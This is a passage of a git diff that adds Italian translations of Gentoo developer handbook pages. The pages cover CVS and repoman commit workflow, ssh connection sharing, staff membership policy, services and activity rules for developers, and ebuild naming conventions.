+Si presume di essere pronti per aggiungere un nuovo pacchetto, <c>foo</c>, in
+app-misc:
+</p>
+
+<pre caption="Aggiungere un pacchetto">
+<comment>(Sostituire CVSROOT con il percorso del proprio CVS tree recuperato.)</comment>
+# <i>cd $CVSROOT/app-misc</i>
+<comment>(Aggiornare sempre prima di lavorare in una parte dell'albero CVS!)</comment>
+# <i>cvs update</i>
+# <i>mkdir foo</i>
+<comment>(A questo punto si aggiunge al repository CVS la directory per il pacchetto foo.)</comment>
+# <i>cvs add foo</i>
+# <i>cd foo</i>
+<comment>(È meglio mantenere gli ebuild in lavorazione esternamente all'albero CVS.)</comment>
+# <i>cp /path/to/foo-1.0.ebuild ./</i>
+<comment>(Assicurarsi che PORTDIR_OVERLAY sia impostato alla directory di CVS durante la creazione dei manifest.)</comment>
+# <i>repoman manifest</i>
+# <i>${EDITOR} metadata.xml</i>
+ <comment>Non è più necessario avere una directory files</comment>
+# <i>cvs add foo-1.0.ebuild ChangeLog files</i>
+<comment>[Non dimenticarsi di creare un ChangeLog - guardare la pagina man per echangelog.]</comment>
+# <i>echangelog "New ebuild for foo. Ebuild written by me. Fixes bug#XXXXXX."</i>
+</pre>
+
+<p>
+Guardare la sezione <uri link="?part=2&amp;chap=4">Gentoo Metadata</uri> per
+maggiori informazioni su <path>metadata.xml</path>.
+</p>
+
+<p>
+A questo punto, è possibile effettuare il commit (guardare la successiva sezione
+Commit). Ma volendo rimuovere foo-1.0 nel momento in cui è disponibile foo-1.1?
+</p>
+
+<pre caption="Rimuovere le vecchie versioni">
+# <i>cd CVSROOT/app-misc/foo</i>
+# <i>cvs update</i>
+# <i>cvs remove -f foo-1.0.ebuild</i>
+</pre>
+
+<p>
+Ora è possibile effettuare il commit (guardare la successiva sezione Commit).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Commit</title>
+<body>
+
+<p>
+Usare sempre <c>repoman commit</c> piuttosto che <c>cvs commit</c>. Repoman è
+un'utilità di controllo della qualità (QA) che esegue controlli di base e crea i
+file Manifest. Se una qualsiasi parte dell'output di repoman non è chiara,
+consultare <c>man repoman</c>. In più, se si è stanchi di digitare la propria
+password ripetutamente, keychain
+(<uri>http://www.gentoo.org/doc/it/keychain-guide.xml</uri>) può essere d'aiuto.
+</p>
+
+<pre caption="Uso di repoman">
+<comment>[Assicurarsi che non ci siano file appartenenti a root prima di avviare repoman!]</comment>
+<comment>("scan" percorre la directory corrente per gli scopi di QA. "full" è più completo.)</comment>
+# <i>repoman scan</i>
+<comment>("commit" esegue uno scan, poi esegue il commit, intanto aggiorna anche il Manifest.
+Assicurarsi di aggiungere un utile e dettagliato messaggio al ChangeLog di CVS...)</comment>
+# <i>repoman commit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Velocizzare CVS up</title>
+<body>
+
+<p>
+Se si riscontra un'evidente latenza verso il server cvs, è possibile usare la
+configurazione master slave di ssh, dove ci si connette all'altro server ssh
+una volta sola e si fa in modo che esso esegua i comandi successivi su tale
+connessione. In questo modo si risparmia l'overhead dovuto all'handshake
+incrementando in toto le operazioni di checkout/commit di quasi 3 volte. Basta
+aggiungere il pezzo di codice seguente alla propria configurazione
+</p>
+
+<pre caption="~/.ssh/config">
+Host *
+ControlMaster auto
+ControlPath ~/.ssh/master-%r@%h:%p
+</pre>
+
+<p>
+Fatto questo, è possibile abilitare una connessione principale in background
+eseguendo:
+</p>
+
+<pre caption="Aprire una connessione principale in background">
+<comment>È possibile trovare il significato dei parametri nella pagina di manuale di ssh</comment>
+$ <i>ssh -M -N -f ${USER}@cvs.gentoo.org</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Informazioni varie</title>
+<subsection>
+<title>Posizionare i file sui mirror</title>
+<body>
+
+<p>
+I distfile sono automaticamente prelevati dal sistema di Mirror di Gentoo.
+Bisogna solamente tenere sotto controllo i propri distfile per eventuali errori
+di scaricamento degli stessi. Leggere <uri
+link="/proj/en/infrastructure/mirrors/overview-distfile.xml">Distfiles Overview
+Guide</uri> per esaurienti istruzioni a riguardo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Mail e Web</title>
+<body>
+
+<p>
+L'infrastruttura di Gentoo permette agli sviluppatori di gestire le proprie
+email. <uri>http://www.gentoo.org/proj/it/infrastructure/dev-email.xml</uri>
+contiene le istruzioni per la configurazione della propria email @gentoo.org.
+</p>
+
+<p>
+Gli sviluppatori hanno accesso ad uno spazio web,
+http://dev.gentoo.org/~$PROPRIONOME. Per ulteriori dettagli leggere <uri
+link="/proj/it/infrastructure/dev-webspace.xml">Configurazione dello spazio web
+su dev.gentoo.org</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction-staffers.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-staffers.xml
new file mode 100644
index 00000000..f555b3be
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-staffers.xml
@@ -0,0 +1,170 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction-staffers.xml,v 1.1 2008/11/05 21:14:23 scen Exp $ -->
+
+<sections>
+<version>1</version>
+<date>2008-09-13</date>
+
+<section>
+<title>Politica per i Membri dello Staff di Gentoo</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Far funzionare una distribuzione Linux implica diversi aspetti, e molti di
+questi non sono direttamente connessi alla programmazione del codice. Ogni
+distribuzione ha bisogno di persone che facciano funzionare i suoi server,
+aiutino la comunità, forniscano la documentazione, gestiscano le finanze del
+progetto e le questioni legali e seguano molti altri compiti, Questi contributi
+sono importanti tanto quanto i contributi sotto forma di codice. Questi
+sviluppatori all'interno di Gentoo vengono chiamati membri dello staff.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Tipologie di membri dello staff</title>
+<body>
+
+<p>
+L'elenco seguente contiene tutti i tipi di membri dello staff che attualmente
+vengono reclutati in Gentoo:
+</p>
+
+<ul>
+  <li>
+    Membri del progetto <uri link="/proj/en/infrastructure/">Infrastruttura di
+    Gentoo</uri>
+  </li>
+  <li>
+    Redattori e traduttori della <uri link="/proj/en/gdp/">Documentazione di
+    Gentoo</uri>
+  </li>
+  <li>
+    Redattori e traduttori della <uri link="/news/it/gmn/">Newsletter Mensile di
+    Gentoo</uri>
+  </li>
+  <li>
+    Amministratori e moderatori globali dei <uri link="/proj/en/forums/">Forum
+    di Gentoo</uri>
+  </li>
+  <li>
+    Membri del gruppo per le <uri link="/proj/en/devrel/">Relazioni con gli
+    Sviluppatori Gentoo</uri>
+  </li>
+  <li>
+    Membri del gruppo per le <uri link="/proj/en/userrel/">Relazioni con gli
+    Utenti Gentoo</uri>
+  </li>
+  <li>
+    Membri del gruppo per le <uri link="/proj/en/pr/">Relazioni Pubbliche di
+    Gentoo</uri>
+  </li>
+  <li>
+    Coordinatori GLSA per la <uri link="/proj/en/security/">Sicurezza in Gentoo
+    </uri>
+  </li>
+  <li>Sviluppatori di <uri link="/proj/en/sunrise/">Gentoo Sunrise</uri></li>
+  <li>Fiduciari della <uri link="/foundation/en">Fondazione Gentoo</uri></li>
+</ul>
+
+<impo>
+Se il progetto al quale si vuole contribuire come membro dello staff non è
+nella lista e si è dell'opinione che debba essere incluso, si prega di
+contattare <mail link="devrel@gentoo.org">Relazioni con gli Sviluppatori</mail>
+riguardo al cambio di politiche.
+</impo>
+
+</body>
+</subsection>
+<subsection>
+<title>
+In che modo l'accesso dei membri dello staff differisce da quello degli
+sviluppatori di ebuild?
+</title>
+<body>
+
+<p>
+L'accesso viene assegnato in base alle responsabilità del Membro dello Staff.
+A tutti gli Sviluppatori Gentoo viene messo a disposizione un indirizzo mail
+gentoo.org, l'accesso ssh a dev.gentoo.org (per la shell, ldap, public_html,
+ecc.) insieme all'accesso cvs alle pagine web/di progetto di Gentoo. Come
+membro dello staff non si avrà accesso all'albero delle ebuild, a differenza
+degli sviluppatori delle ebuild, ma potrebbe essere garantito l'accesso ad altre
+aree in base alle proprie necessità e responsabilità.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Come si può diventare un membro dello staff di Gentoo?</title>
+<body>
+
+<p>
+Bisogna lavorare con i membri del progetto che si desidera aiutare. Si verrà
+invitati nel team quando il proprio livello di contributi ed esperienza
+giustificherà il passaggio a sviluppatore in tale progetto. Inizialmente ciò
+richiederà tempo e richiederà il passaggio attraverso procedure interne di
+reclutamento nel progetto. Quelle procedure esistono per assicurare che si
+sappia cosa implicano le proprie funzioni all'interno di Gentoo, e sono create
+e mantenute dal progetto stesso.
+</p>
+
+<p>
+Quando si è pronti, bisogna cercarsi un mentore, dopodiché verrà aperto un bug
+per sviluppatori dopo che il proprio mentore avrà approvato le vostre risposte
+al <uri link="http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt">quiz per
+lo staff</uri>. Una volta che al proprio bug di sviluppatore verrà assegnato un
+reclutatore, entrambi dovrete pianificare la revisione di tale quiz. Si prega di
+leggere la <uri
+link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">guida per
+l'addestramento</uri> (in inglese, NdT) per ulteriori informazioni.
+</p>
+
+<note>
+Come membro dello staff che non andrà a lavorare sulle ebuild, non si sarà
+tenuti ad affrontare questi tecniche riguardo ad esse. Tutto quello che viene
+richiesto in questa fase di reclutamento è una buona comprensione dei meccanismi
+interni di Gentoo.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>
+Vorrei essere reclutato come membro dello staff ma anche pianificare la
+partecipazione futura ad altri progetti
+</title>
+<body>
+
+<p>
+Ogni sviluppatore Gentoo può unirsi a qualunque progetto esso/a desideri se gli
+sviluppatori del progetto sono d'accordo. Tuttavia prima di poter iniziare a
+contribuire all'albero delle ebuild, bisognerà affrontare il processo di
+reclutamento come sviluppatore di ebuild. Ciò significa che si avrà bisogno di
+un mentore, una storia di contributi tecnici (correzioni di bug, overlay, ecc.)
+ed un addestramento adeguato. A tal proposito si prega di contattare i
+reclutatori.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Come viene gestito il ritiro dei membri dello staff?</title>
+<body>
+
+<p>
+Bisogna o rimanere attivi all'interno del progetto a cui si sta partecipando o
+spostarsi in altri progetti. Se non ci sono progetti all'interno di Gentoo nei
+quali non si sta partecipando attivamente, si è soggetti alla procedura di
+ritiro tramite le procedure dei "<uri link="/proj/en/devrel/undertakers/">Gentoo
+Undertakers</uri>" ("becchini di Gentoo", NdT).
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction-whatyouget.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-whatyouget.xml
new file mode 100644
index 00000000..d7d825ad
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-whatyouget.xml
@@ -0,0 +1,282 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction-whatyouget.xml,v 1.11 2010/05/24 17:55:47 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.3</version>
+<date>2007-08-17</date>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Gentoo fornisce agli sviluppatori tutti i servizi necessari per lo sviluppo.
+Qualora ci sia la necessità di ulteriori strumenti non esitare a contattare il
+team dell'infrastruttura!
+</p>
+
+<p>
+Una volta che si diventa sviluppatori autorizzati, il proprio reclutatore
+dovrebbe organizzare i seguenti servizi. In caso di problemi con i servizi,
+contattare il proprio reclutatore od il team dello staff menzionato avente
+accesso ai servizi richiesti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Gli sviluppatori sono abilitati a cambiare ogni aspetto dei bug in Bugzilla. Se
+si possiede un account esistente, l'indirizzo email dovrà essere cambiato con
+quello Gentoo da un amministratore di Bugzilla.
+</p>
+
+</body>
+</section>
+<section>
+<title>CVS</title>
+<body>
+
+<p>
+Non tutti gli sviluppatori ricevono l'accesso al CVS - se c'è la necessità
+dell'accesso tramite Portage ai rami gentoo, gentoo-projects o gentoo-x86,
+chiedere a qualche membro del team dei reclutatori il quale effettuerà
+l'operazione. Bisogna comunque giustificare il motivo per il quale serve
+l'accesso.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+Quando si diventa sviluppatori, si riceverà un cloack <c>gentoo/developer/*</c>
+che identifica il proprio status di sviluppatore. Se ciò non avviene si prega
+di contattare i reclutatori o chiedere nel canale <c>#gentoo-groupcontacts</c>.
+Tenere ben presente che i cloack di Freenode non possono contenere nè il
+carattere "underscore" (<c>_</c>) nè il punto (<c>.</c>) nell'ultima parte,
+pertanto bisogna scegliere o un nickname appropriato o un cloack differente.
+</p>
+
+<p>
+Inoltre si riceverà lo stato di operatore su #gentoo-dev. In più, i capi dei
+vari team possono decidere di assegnare lo stato di operatore in canali
+specializzati, per esempio in #gentoo-hardened. Gli abusi dei poteri di
+operatore su #gentoo-dev possono causare la rimozione di questi permessi, o
+perfino la potenziale rimozione del proprio status di sviluppatore. Se sono
+stati dati determinati privilegi, si chiede di usarli costruttivamente per
+permettere a tutti di seguire la chat anche quando altri sviluppatori o utenti
+disturbano l'ordine dei canali.
+</p>
+
+<p>
+Il canale IRC #gentoo non viene più controllato dal gruppo Relazioni tra
+Sviluppatori, ma dal progetto <uri
+link="http://www.gentoo.org/proj/en/ops/index.xml">gentoo-ops</uri>. Lo status
+di op in #gentoo non significa assolutamente che quell'utente sia uno
+sviluppatore.
+</p>
+
+<p>
+Canali Gentoo "speciali" come #gentoo-hardened e #gentoo-server sono assegnati a
+discrezione del rispettivo team - in questi casi, i team hardened e server.
+</p>
+
+<p>
+I proprietari dei diversi canali IRC sono i relativi capi dei progetti, siano
+essi strategici o operazionali e i proprietari hanno la discrezione di dare la
+parola o toglierla ai membri del pubblico. Se si crede vi sia un abuso di questi
+privilegi o che essi vengano usati con considerazioni sbagliate, rivolgersi al
+Gruppo Relazioni tra Sviluppatori.
+</p>
+
+</body>
+</section>
+<section>
+<title>Forum [Opzionale]</title>
+<body>
+
+<p>
+Se necessario, chiedere ad un amministratore dei forum in #gentoo-forums o
+scrivendo a forum-mods@gentoo.org di aggiornare il proprio stato sui forum
+Gentoo. Gli account sui forum non sono obbligatori.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Planet [Opzionale]</title>
+<body>
+
+<p>
+Gli sviluppatori aventi un blog personale possono richiedere di essere aggiunti
+all'aggregatore del planet. Il software del planet crea un feed personalizzato
+di tutti i post dei blog degli sviluppatori, separati in due categorie:
+on-topic (Gentoo e contenuti relativi al mondo dei computer) su Planet Gentoo,
+e tutti i topic su Gentoo Universe.
+</p>
+
+<p>
+Inoltre, se un utente non possiede ancora un blog, l'infrastruttura di Gentoo
+ospita il proprio software di blogging ed è possibile creare un account per lo
+sviluppatore.
+</p>
+
+<p>
+Per maggiori dettagli si prega di leggere
+<uri>http://www.gentoo.org/proj/en/userrel/planet/index.xml</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mail</title>
+<body>
+
+<p>
+Tutti gli sviluppatori sono provvisti di un indirizzo sviluppatore@gentoo.org da
+utilizzare per Gentoo.
+</p>
+
+<p>
+Si prega di consultare l'indirizzo
+<uri>/proj/it/infrastructure/dev-email.xml</uri> per maggiori dettagli.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mailing list</title>
+<body>
+
+<p>
+Tutti gli sviluppatori devono essere iscritti alle mailing list
+<c>gentoo-core</c> e <c>gentoo-dev-announce</c>. Tutti gli sviluppatori
+dovrebbero essere iscritti a <c>gentoo-dev</c> e <c>gentoo-project</c>, sebbene
+entrambi non siano requisiti per gli sviluppatori. Contattare qualcuno dei
+reclutatori per l'iscrizione alla mailing list per soli sviluppatori gentoo-core
+o per per qualsiasi problema.
+</p>
+
+<p>
+gentoo-core è da usare per discussioni interne; le discussi tecniche dovrebbero
+essere discusse su gentoo-dev; discussioni non tecniche dovrebbero essere
+discusse su gentoo-project; mentre gentoo-dev-announce è solamente per gli
+annunci. Se si invia un messaggio su dev-announce, e ci si aspetta che da esso
+si sviluppi una discussione, si dovrebbe effettuare un cross-post manualmente ed
+impostare il reply-to in modo appropriato.
+</p>
+
+<p>
+Se si è già iscritti ad una qualsiasi altra mailing list di Gentoo, bisogna
+disiscriversi e reiscriversi con il nuovo indirizzo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Accesso alla shell</title>
+<body>
+
+<p>
+Attualmente gli sviluppatori ricevono un account di shell su dev.gentoo.org -
+questo permette l'archiviazione delle mail, ritrasmissione SMTP e anche un
+tunnel IRC per gli sviluppatori da usare per l'accesso a freenode.
+</p>
+
+<p>
+Per garantirne la sicurezza, l'accesso è disponibile soltanto attraverso chiavi
+SSH, che il proprio mentore dovrà posizionare nell'account dello stesso
+sviluppatore per permettere la procedura il login: per maggiori dettagli sulle
+chiavi SSH consultare <uri>/proj/it/infrastructure/cvs-sshkeys.xml</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Regole per l'utilizzo dei servizi</title>
+<body>
+
+<p>
+I servizi forniti da Gentoo devono essere utilizzati solamente per il lavoro di
+sviluppo di Gentoo. L'infrastruttura ha il diritto di disabilitare qualsiasi
+account introduca potenziali rischi per la sicurezza, inclusi gli account
+inattivi che verranno sospesi da parte del gruppo per le infrastrutture, se
+riterranno il relativo utente occupato, come pure lo stato su #gentoo-dev che
+verrà passato a "voice".
+</p>
+
+<p>
+Se un qualsiasi file trovato nell'account di uno sviluppatore viene ritenuto
+nocivo per gli altri sviluppatori o utenti della macchina, o pone a rischio il
+progetto di Gentoo (come file illegali .torrents), l'infrastruttura di Gentoo
+sospenderà l'account coinvolto che potrà essere sbloccato solo dopo
+l'investigazione da parte dei membri del gruppo Relazioni tra Sviluppatori
+Gentoo. Nella maggior parte dei casi le eventuali appartenenze ai team verranno
+sospese, se vengono trovati questi file. Le stesse regole vengono applicate al
+CVS di Gentoo e a qualsiasi altro servizio fornito da Gentoo e precedentemente
+messo a disposizione.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Politiche sull'attività</title>
+<body>
+
+<p>
+I responsabili del progetto Gentoo comprendono che come nella vita le cose
+cambiano cose, ciò può succedere anche rispetto alla disponibilità degli
+sviluppatori. Se si sa con certezza di risultare non disponibili per un lungo
+periodo di tempo (vacanze, grandi progetti in ambito lavorativo, necessità in
+famiglia, ecc.) si chiede rispettosamente di usare il sistema devaway.
+</p>
+
+<pre caption="Quando si va via">
+<comment>on dev.gentoo.org</comment>
+$ <i>echo "Away until 2007-08-30, contact $dev1 in my absence" &gt; ~/.away</i>
+</pre>
+
+<pre caption="Quando si ritorna">
+<comment>on dev.gentoo.org</comment>
+$ <i>rm ~/.away</i>
+</pre>
+
+<p>
+Con l'obbiettivo di mantenere il gruppo di sviluppatori aggiornato e le risorse
+sicure, il team Relazioni tra Sviluppatori revisiona periodicamente l'attività
+degli sviluppatori alla ricerca di sviluppatori inattivi. Uno sviluppatore è
+considerato inattivo se non ha dato nessun contributo dopo un periodo maggiore
+di 60 giorni. Non è facile tracciare le attività di ognuno, pertanto, Relazioni
+tra Sviluppatori richiede spesso dei riscontri da un responsabile del progetto o
+dai suoi membri a cui appartiene uno sviluppatore sospettato di essere inattivo.
+
+</p>
+
+<p>
+Qualsiasi sviluppatore sospettato di inattività per un periodo che eccede i 60
+giorni potrebbe essere soggetto al ritiro. In primo luogo Relazioni tra
+Sviluppatori effettuerà una ricerca e stima della situazione, cercando di
+contattare lo sviluppatore, o se i tentativi non hanno successo potrebbero
+scegliere di ritirare lo sviluppatore. Notare che se si è in devaway per più di
+60 giorni, si è anche in questo caso considerati inattivi, tuttavia, le date di
+ritorno verranno prese in considerazione. Se uno sviluppatore è ritirato a causa
+di inattività e desidera tornare, deve solamente contattare i Reclutatori per
+iniziare nuovamente il processo di reclutamento.
+</p>
+
+</body>
+</section>
+
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction.xml
new file mode 100644
index 00000000..cac756b9
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction.xml,v 1.3 2008/02/28 20:52:42 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Lo scopo di questo manuale è quello di definire le regole per lo sviluppo di
+Gentoo, e informare lo sviluppatore riguardo alle regole, gli standard e le
+procedure che Gentoo ritiene opportuno usare come cuore del sistema di sviluppo.
+</p>
+
+<p>
+Questo manuale non è inteso come una guida universale per tutto - le opportunità
+che si hanno sono infinite, questo manuale è scritto per insegnare i principi
+che probabilmente possono aiutare a diventare un buon sviluppatore Gentoo - il
+resto spetta a chi vuole diventarlo!
+</p>
+
+<p>
+Sia i nuovi sviluppatori Gentoo che quelli veterani aventi dubbi su qualsiasi
+argomento possono scrivere liberamente alla mailing list gentoo-dev oppure sul
+canale IRC #gentoo-dev.
+</p>
+
+</body>
+</section>
+<section>
+<title>Requisiti</title>
+<body>
+
+<p>
+Prima di iniziare a lavorare, è importante avere una installazione di Gentoo
+funzionante sia per la documentazione che per gli scopi dello sviluppo, inoltre
+si raccomanda anche di avere delle buone conoscenze dei temi trattati nella
+sezione ``Lavorare con Gentoo`` del Manuale per l'utente, utile durante il
+lavoro di sviluppo.
+</p>
+
+<p>
+La maggior parte di questa guida è rivolta agli sviluppatori, ma, se l'unico
+interesse è quello di vedere come viene eseguito il lavoro per lo sviluppo di
+Gentoo, questa guida potrebbe dare degli utili chiarimenti.
+</p>
+
+<p>
+Il modo migliore per avere notizie [ e la possibilità di diventare uno
+sviluppatore Gentoo! ] è di compilare accurati report dei bug su <uri
+link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>, con (se possibile) le
+relative patch, e di aiutare con tutto ciò si crede possa migliorare Gentoo
+fornendo patch per nuove caratteristiche, nuovi ebuild oppure risolvendo
+problemi esistenti.
+</p>
+
+</body>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-policy-ebuild.xml b/xml/htdocs/proj/it/devrel/handbook/hb-policy-ebuild.xml
new file mode 100644
index 00000000..e6c728bb
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-policy-ebuild.xml
@@ -0,0 +1,767 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-policy-ebuild.xml,v 1.9 2008/02/28 20:52:42 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synched to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/policy.xml :: R1.35.
+-->
+
+<sections>
+<version>1.0.3</version>
+<date>2007-01-21</date>
+
+<section>
+<title>Linee guida generali</title>
+<subsection>
+<body>
+
+<p>
+Queste sono alcune linee guida generali da seguire per lo sviluppo:
+</p>
+
+<ul>
+  <li>
+    Eseguire sempre l'inserimento (check in) dei cambiamenti con repoman; usare
+    repoman commit al posto di cvs commit.</li>
+  <li>
+    Se un pacchetto è corrotto anche nella sua versione corrente o se ha un
+    processo di compilazione/installazione veramente orribile, verificare come
+    si comportano altre distribuzioni:
+    <ul>
+      <li><uri link="http://www.debian.org/distrib/packages">Debian</uri></li>
+      <li>
+        <uri
+        link="http://cvs.mandriva.com/cgi-bin/viewvc.cgi/SPECS/">Mandriva</uri>
+      </li>
+      <li><uri link="http://cvs.fedora.redhat.com/">Fedora</uri></li>
+    </ul>
+  </li>
+  <li>
+    Il proprio pacchetto, nel momento in cui risulta completato e non
+    mascherato, si suppone funzioni da subito per l'utente finale. La modifica
+    del prodotto installato per farlo funzionare dovrebbe essere opzionale; per
+    questo motivo bisogna installare il pacchetto con delle ragionevoli
+    impostazioni predefinite.
+  </li>
+  <li>
+    Non aver timore di consultare la documentazione in linea di Gentoo e di
+    guardare come sono scritti e mantenuti gli ebuild creati da sviluppatori
+    più esperti. Non farsi problemi a contattare direttamente sviluppatori più
+    esperti per porre qualsiasi domanda di natura tecnica o di regolamento.
+  </li>
+  <li>
+    Fare attenzione riguardo ai propri commit. Ricordarsi che i propri
+    cambiamenti possono potenzialmente danneggiare migliaia di utenti. Se i
+    propri cambiamenti causano qualsiasi tipo di malfunzionamento nel portage
+    tree, devono essere corretti in modo tempestivo
+  </li>
+  <li>
+    Ogni pacchetto deve essere accompagnato da un file <uri
+    link="?part=2&amp;chap=4">metadata.xml</uri> il quale elenca, tra le diverse
+    informazioni, quale herd /gruppo) (e/o quali mantenitori) sono incaricati
+    del pacchetto.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Linee guida specifiche</title>
+<subsection>
+<title>fPIC</title>
+<body>
+
+<p>
+Su certe architetture, le librerie condivise devono essere compilate con -fPIC.
+Nell'architettura x86 ed in altre, le librerie condivise possono compilare senza
+-fPIC, ma è uno spreco e potenzialmente potrebbe causare una diminuzione di
+prestazioni. Se viene trovato un pacchetto che non compila le librerie condivise
+con -fPIC, correggere il Makefile per compilare <b>solo le librerie
+condivise</b> con -fPIC. Sono disponibili maggiori informazioni su PIC alla
+pagina <uri>http://www.gentoo.org/proj/en/hardened/pic-internals.xml</uri>
+(ndT: in inglese). Se non si è sicuri, chiedere aiuto in un forum pubblico di
+sviluppatori (come la mailing list gentoo-dev o sul canale irc #gentoo-dev).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Perl</title>
+<body>
+
+<p>
+I nuovi moduli Perl saranno aggiunti al portage solo quando una delle seguenti
+condizioni sarà verificata:
+</p>
+
+<ul>
+  <li>I(l) modulo(i) soddisfa una dipendenza</li>
+  <li>I(l) modulo(i) non può essere gestito da <c>g-cpan</c></li>
+  <li>I(l) modulo(i) aggiunge funzionalità agli ebuild esistenti</li>
+  <li>
+    I(l) modulo(i) fornisce strumenti, applicazioni o altre funzionalità (per
+    esempio di più di quelle che offre il loro .PM)
+  </li>
+</ul>
+
+<p>
+Assicurarsi che almeno un membro dell'herd di perl approvi questo tipo di
+aggiunte.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Regole per l'Ebuild</title>
+<subsection>
+<title>Regole per il nome</title>
+<body>
+
+<p>
+Il nome del file dell'ebuild consiste in quattro sottosezioni logiche:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Le parentesi graffe (<c>{}</c>) delimitano campi opzionali e non appariranno nel
+nome letterale del pacchetto. <c>#</c> rappresenta qualsiasi intero positivo
+diverso da zero.
+</note>
+
+<p>
+La prima sottosezione, <c>pkg</c>, è il nome del pacchetto, il quale deve
+contenere soltanto caratteri minuscoli, i numeri 0-9, qualsiasi numero di
+trattini singoli (<c>-</c>), underscore (<c>_</c>) o caratteri più (<c>+</c>).
+Esempio: <c>util-linux</c>, <c>sysklogd</c> e <c>gtk+</c>. Ci sono alcuni
+pacchetti in Portage che non seguono queste regole, ma il <e>proprio</e>
+pacchetto le dovrà seguire.
+</p>
+
+<p>
+La seconda sottosezione, <c>ver</c>, è la versione del pacchetto, che
+normalmente dovrebbe essere uguale alla versione del file archivio dei sorgenti
+principale. La versione è normalmente composta da due o tre (o più) numeri
+separati da punti, come <c>1.2</c> o <c>4.5.2</c>, e potrebbero avere una
+singola lettera alla fine dell'ultima cifra; per esempio, <c>1.4b</c> o
+<c>2.6h</c>. La versione del pacchetto è unita al nome del pacchetto con un
+trattino. Esempio: <c>foo-1.0</c>, <c>bar-2.4.6</c>.
+</p>
+
+<p>
+La terza sottosezione, <c>{_suf{#}}</c>, è opzionale è può contenere uno di
+questi suffissi predefiniti, elencati dal meno recente al più recente:
+</p>
+
+<table>
+<tr>
+  <th>Suffisso</th>
+  <th>Significato</th>
+</tr>
+<tr>
+  <ti><c>_alpha</c></ti>
+  <ti>Rilascio alpha</ti>
+</tr>
+<tr>
+  <ti><c>_beta</c></ti>
+  <ti>Rilascio beta</ti>
+</tr>
+<tr>
+  <ti><c>_pre</c></ti>
+  <ti>Pre rilascio</ti>
+</tr>
+<tr>
+  <ti><c>_rc</c></ti>
+  <ti>Candidato ad essere un rilascio</ti>
+</tr>
+<tr>
+  <ti>(none)</ti>
+  <ti>Rilascio normale</ti>
+</tr>
+<tr>
+  <ti><c>_p</c></ti>
+  <ti>Livello di correzione/patch (normalmente seguito da un intero)</ti>
+</tr>
+</table>
+
+<p>
+Qualsiasi di questi suffissi può essere immediatamente seguito da un numero
+positivo diverso da zero, per esempio, <c>linux-2.4.0_pre10</c>. Assumendo la
+parte della versione identica, il suffisso è ordinato come segue (più basso
